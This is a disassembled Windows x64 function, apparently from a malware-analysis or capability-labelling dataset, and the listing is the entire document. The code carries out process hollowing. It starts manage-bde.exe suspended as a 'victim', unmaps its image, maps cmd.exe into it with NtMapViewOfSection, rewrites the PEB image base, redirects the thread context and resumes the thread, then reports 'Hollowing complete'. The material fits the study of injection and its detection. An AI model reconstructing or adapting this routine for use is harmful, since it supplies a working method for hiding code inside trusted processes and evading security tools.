Function at 0x1400011e0
Capabilities:
Create process on windows
Get common file path
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x560]
sub rsp, 0x660
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x558], rax
xor r12d, r12d
lea rdx, str.___PsForge_startup_._._._n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtMapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
test rax, rax
jne 0x140001270
lea rdx, str.NtMapViewOfSection_not_found._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
mov eax, 1
jmp 0x140001c1e
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtUnmapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [rsp + 0x50], rax
lea rdx, str.NtMapViewOfSection:_0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
mov rcx, rax
mov rdx, r13
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x140001f30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.NtUnmapViewOfSection:_0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x140001f30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea r9, [rsp + 0x60]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140004380]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov ebx, eax
test eax, eax
je 0x140001358
lea rdx, str.SHGetKnownFolderPath_failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
mov rcx, rax
lea rdx, [0x1400011c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001f30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov eax, 1
jmp 0x140001c1e
xorps xmm0, xmm0
movups xmmword [rbp + 0x4c0], xmm0
mov qword [rbp + 0x4d0], r12
mov qword [rbp + 0x4d8], r12
mov rdx, qword [rsp + 0x60]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rdx + r8*2], r12w
jne 0x140001380
lea rcx, [rbp + 0x4c0]
call fcn.140001f70
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x4e0], xmm0
mov qword [rbp + 0x4f0], r12
mov qword [rbp + 0x4f8], r12
mov rdx, qword [rsp + 0x60]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x1400013c0
lea rcx, [rbp + 0x4e0]
call fcn.140001f70
nop
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rdx, str.System_directory:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
lea rdx, [rbp + 0x4c0]
cmp qword [rbp + 0x4d8], 7
cmova rdx, qword [rbp + 0x4c0]
mov r8, qword [rbp + 0x4d0]
mov rcx, rax
call fcn.140002260
lea rdx, [0x140001f30]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0x528], xmm0
mov rdi, qword [rbp + 0x4d0]
mov rcx, qword [rbp + 0x4d8]
mov rax, rcx
sub rax, rdi
lea rsi, str.cmd.exe
cmp rax, 8
jb 0x140001496
lea rax, [rdi + 8]
mov qword [rbp + 0x4d0], rax
lea rbx, [rbp + 0x4c0]
cmp rcx, 7
cmova rbx, qword [rbp + 0x4c0]
lea rcx, [rbx + rdi*2]
mov r8d, 0x10
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2 + 0x10], r12w
lea rax, [rbp + 0x4c0]
jmp 0x1400014b3
mov qword [rsp + 0x20], 8
mov r9, rsi
mov edx, 8
lea rcx, [rbp + 0x4c0]
call fcn.1400020a0
cmp qword [rax + 0x18], 7
jbe 0x1400014bd
mov rax, qword [rax]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x21
mov r8d, 5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0x528], rax
mov qword [rbp + 0x530], r14
cmp r14, 0xffffffffffffffff
jne 0x140001547
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.CreateFileW___failed._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001f30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov ebx, 1
jmp 0x140001b5c
lea rdx, str.Opened_cmd.exe_binary_file_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
xorps xmm0, xmm0
movups xmmword [rbp + 0x538], xmm0
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov r15, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0x538], rax
mov qword [rbp + 0x540], r15
test r15, r15
jne 0x1400015b1
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.CreateFileMappingW___failed._Error:
jmp 0x140001803
lea rdx, str.Created_cmd.exe_file_mapping:_SEC_IMAGE_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
mov dword [rbp - 0x80], 0x68
mov qword [rbp - 0x78], r12
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rax
lea r10, [rbp + 0x4c0]
mov rdi, qword [rbp + 0x4c0]
mov r12, qword [rbp + 0x4d8]
cmp r12, 7
cmova r10, rdi
mov rbx, qword [rbp + 0x4d0]
cmp rbx, 8
jb 0x140001645
lea r11, [rbx - 7]
lea r11, [r10 + r11*2]
mov r8, r10
mov rax, r11
sub rax, r8
sar rax, 1
je 0x140001645
nop dword [rax]
cmp word [r8], 0x5c
je 0x1400016ff
add r8, 2
sub rax, 1
jne 0x140001630
mov r8, 0xffffffffffffffff
xorps xmm0, xmm0
movups xmmword [rbp + 0x500], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x510], xmm1
cmp rbx, r8
cmovb r8, rbx
lea rdx, [rbp + 0x4c0]
cmp r12, 7
cmova rdx, rdi
lea rcx, [rbp + 0x500]
call fcn.140001f70
nop
lea rsi, [rbp + 0x500]
cmp qword [rbp + 0x518], 7
cmova rsi, qword [rbp + 0x500]
mov rdi, qword [rbp + 0x4f0]
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
sub rax, rdi
cmp rax, 0x16
jb 0x14000173e
lea rax, [rdi + 0x16]
mov qword [rbp + 0x4f0], rax
lea rbx, [rbp + 0x4e0]
cmp rcx, 7
cmova rbx, qword [rbp + 0x4e0]
lea rcx, [rbx + rdi*2]
mov r8d, 0x2c
lea rdx, str.manage_bde.exe__K_cls
call sub.VCRUNTIME140.dll_memmove
xor r12d, r12d
mov word [rbx + rdi*2 + 0x2c], r12w
lea rax, [rbp + 0x4e0]
jmp 0x140001762
test r8, r8
je 0x140001645
mov edx, 8
mov rcx, rsi
mov r9, r8
sub r9, rsi
movzx eax, word [rcx]
cmp word [rcx + r9], ax
jne 0x140001735
add rcx, 2
sub rdx, 1
jne 0x140001716
sub r8, r10
sar r8, 1
jmp 0x14000164c
add r8, 2
jmp 0x140001621
mov qword [rsp + 0x20], 0x16
lea r9, str.manage_bde.exe__K_cls
mov edx, 0x16
lea rcx, [rbp + 0x4e0]
call fcn.1400020a0
xor r12d, r12d
cmp qword [rax + 0x18], 7
jbe 0x14000176c
mov rax, qword [rax]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x14
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ebx, eax
mov rdx, qword [rbp + 0x518]
cmp rdx, 7
jbe 0x1400017f2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x500]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017ed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000249c
test ebx, ebx
jne 0x140001836
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.CreateProcessW___failed._Error:
mov ebx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140001f30]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov ebx, 1
jmp 0x140001b48
xorps xmm0, xmm0
movups xmmword [rbp + 0x548], xmm0
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0x548], rax
mov rdi, qword [rsp + 0x70]
mov qword [rbp + 0x550], rdi
movups xmmword [rbp + 0x500], xmm0
mov qword [rbp + 0x500], rax
mov rsi, qword [rsp + 0x68]
mov qword [rbp + 0x508], rsi
lea rdx, str.Launched_victim_manage_bde.exe_process_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
mov dword [rbp + 0x20], 0x100002
lea rdx, [rbp - 0x10]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x1400018b3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.GetThreadContext___failed._Error:
jmp 0x140001ada
lea rdx, str.PEB_base_address:_0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
mov rcx, rax
mov rdx, qword [rbp + 0x78]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x140001f30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rdx, qword [rbp + 0x78]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rsp + 0x58]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14000191c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.ReadProcessMemory___failed._Error:
jmp 0x140001ada
lea rdx, str.Image_base_address:_0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
mov rcx, rax
mov rdx, qword [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x140001f30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0x50]
mov ebx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
test eax, eax
je 0x140001994
lea rdx, str.NtUnmapViewOfSection___failed._NTSTATUS:_0x
call fcn.140001d50
mov rcx, rax
lea rdx, [0x1400011c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
jmp 0x140001af3
lea rdx, str.manage_bde.exe_image_unmapped_n
call fcn.140001d50
mov qword [rsp + 0x58], r12
mov qword [rbp + 0x520], r12
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], 2
lea rax, [rbp + 0x520]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rsp + 0x58]
mov rdx, qword [rsp + 0x68]
mov rcx, r15
call r13
mov ebx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
test eax, eax
je 0x140001a03
lea rdx, str.NtMapViewOfSection___failed._NTSTATUS:_0x
jmp 0x14000196f
lea rdx, str.cmd.exe_mapped_into_remote_process_n
call fcn.140001d50
mov rdx, qword [rbp + 0x78]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rsp + 0x58]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001a48
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.WriteProcessMemory___failed._Error:
jmp 0x140001ada
lea rdx, str.Wrote_new_image_base_address_as:_0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
mov rcx, rax
mov rdx, qword [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x140001f30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rax, qword [rsp + 0x58]
add rax, 0x18f50
mov qword [rbp + 0x70], rax
lea rdx, [rbp - 0x10]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x140001aaa
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.SetThreadContext___failed._Error:
jmp 0x140001ada
lea rdx, str.Set_new_thread_context_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x140001b0a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.ResumeThread___failed._Error:
mov ebx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140001f30]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov ebx, 1
jmp 0x140001b20
lea rdx, str.Resumed_manage_bde.exe_thread_n_n___Hollowing_complete__n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
mov ebx, r12d
lea rax, [rsi - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001b34
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rax, [rdi - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001b48
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rax, [r15 - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001b5c
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rax, [r14 - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001b70
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp + 0x4f8]
cmp rdx, 7
jbe 0x140001bb9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x4e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001bb4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001bb4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000249c
mov qword [rbp + 0x4f0], r12
mov qword [rbp + 0x4f8], 7
mov word [rbp + 0x4e0], r12w
mov rdx, qword [rbp + 0x4d8]
cmp rdx, 7
jbe 0x140001c1c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x4c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c17
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000249c
mov eax, ebx
mov rcx, qword [rbp + 0x558]
xor rcx, rsp
call fcn.140002440
lea r11, [rsp + 0x660]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret